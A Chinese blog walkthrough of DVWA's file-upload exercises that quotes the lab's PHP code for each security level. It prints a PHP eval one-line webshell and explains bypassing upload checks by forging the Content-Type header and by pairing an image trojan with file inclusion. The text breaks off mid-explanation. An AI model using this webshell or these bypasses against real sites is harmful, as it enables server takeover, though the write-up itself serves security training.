当前位置:   article > 正文

DVWA-文件上传与文件包含_蚁剑返回数据为空

蚁剑返回数据为空

一,low

1,代码分析:

  1. <?php
  2. if( isset( $_POST[ 'Upload' ] ) ) {
  3. // Where are we going to be writing to?
  4. $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
  5. $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
  6. // Can we move the file to the upload folder?
  7. if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
  8. // No
  9. echo '<pre>Your image was not uploaded.</pre>';
  10. }
  11. else {
  12. // Yes!
  13. echo "<pre>{$target_path} succesfully uploaded!</pre>";
  14. }
  15. }
  16. ?>

从以上代码可以看出并没有做任何限制,先用最简单的PHP一句话代码试下:

<?php @eval($_POST[777])?>

使用中国蚁剑进行连接

 

扩展:

使用中国蚁剑连接出现以下情况是路径地址错误

 

出现”返回数据为空“,是代码有错误;

basename()函数:返回带有文件扩展名的文件名部分。例如:/xx/test.php,返回test.php

二,medium

代码分析:

继续上传yjh.php,使用BP进行抓包,更改文件类型

扩展:

[$_FILES’userfile’][‘name’]

客户端机器文件的原名称。

[$_FILES’userfile’][‘type’]

文件的 MIME 类型

[$_FILES’userfile’][‘size’]

已上传文件的大小,单位为字节。

[$_FILES’userfile’][‘tmp_name’]

文件被上传后在服务端储存的临时文件名

[$_FILES’userfile’][‘error’]

和该文件上传相关的错误代码。此项目是在PHP 4.2.0 版本中增加的。

UPLOAD_ERR_OK

其值为 0,没有错误发生,文件上传成功。

UPLOAD_ERR_INI_SIZE

其值为 1,上传的文件超过了 php.ini 中 upload_max_filesize 选项限制的值。

UPLOAD_ERR_FORM_SIZE

其值为 2,上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值。

UPLOAD_ERR_PARTIAL

其值为 3,文件只有部分被上传。

UPLOAD_ERR_NO_FILE

其值为 4,没有文件被上传。

UPLOAD_ERR_NO_TMP_DIR

其值为 6,找不到临时文件夹。PHP 4.3.10 和 PHP 5.0.3 引进。

UPLOAD_ERR_CANT_WRITE

其值为 7,文件写入失败。PHP 5.1.0 引进。

这里对上传的文件类型进行了判断,如果不是jpeg跟png类型的文件则无法上传。

利用
服务端这里判断文件的类型是通过$_FILES["file"]["type"]来判断的。

而$_FILES["file"]["type"]是客户端请求数据包中的Content-Type的值。所以可以通过抓包工具修改Content-Type来绕过服务端检测

三,hight

代码分析:

 

上传图片木马 ,制作图片木马

 

 图片木马没有办法直接利用,需要配合其他漏洞。 此时可以结合文件包含漏洞获取webshell。

 使用蚁剑添加cookie头才能成功连上一句话木马。

(不添加的话,测试连接时会出现返回数据为空的警告。至于为什么前面两关不用添加就能连接一句话木马,应该是因为前两关上传的文件不需要登录就可以访问,但存在文件包含漏洞的这个文件必须要登录访问)

 

 

四,impossible

代码分析:

  1. <?php
  2. if( isset( $_POST[ 'Upload' ] ) ) {
  3. // Check Anti-CSRF token
  4. checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
  5. // File information
  6. $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
  7. $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
  8. $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
  9. $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
  10. $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
  11. // Where are we going to be writing to?
  12. $target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
  13. //$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
  14. $target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
  15. $temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
  16. $temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
  17. // Is it an image?
  18. if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
  19. ( $uploaded_size < 100000 ) &&
  20. ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
  21. getimagesize( $uploaded_tmp ) ) {
  22. // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
  23. if( $uploaded_type == 'image/jpeg' ) {
  24. $img = imagecreatefromjpeg( $uploaded_tmp );
  25. imagejpeg( $img, $temp_file, 100);
  26. }
  27. else {
  28. $img = imagecreatefrompng( $uploaded_tmp );
  29. imagepng( $img, $temp_file, 9);
  30. }
  31. imagedestroy( $img );
  32. // Can we move the file to the web root from the temp folder?
  33. if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
  34. // Yes!
  35. echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
  36. }
  37. else {
  38. // No
  39. echo '<pre>Your image was not uploaded.</pre>';
  40. }
  41. // Delete any temp files
  42. if( file_exists( $temp_file ) )
  43. unlink( $temp_file );
  44. }
  45. else {
  46. // Invalid file
  47. echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
  48. }
  49. }
  50. // Generate Anti-CSRF token
  51. generateSessionToken();
  52. ?>

 

分析
**uniqid()**返回一个当前时间微秒计的唯一字符串ID。

ini_get():获取一个配置选项的值。

php.ini中upload_tmp_dir的值为上传文件的临时目录。

sys_get_temp_dir():返回用于临时文件的目录。

该三元运算符的意思是:确定临时上传文件的目录。

然后对上传文件的后缀名进行了判断,也使用了getimagesize函数进行判断。

imagecreatefromjpeg(filename):创建一个新图像资源。filename为图像路径。成功后返回图象资源,失败后返回 FALSE

imagejpeg(image, filename, quality):用image图像资源创建jpeg图像。

image:图像资源,filename:文件保存的路径,quality:图像质量(0:最差-100:最好)

**imagedestroy()

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/凡人多烦事01/article/detail/560241
推荐阅读
相关标签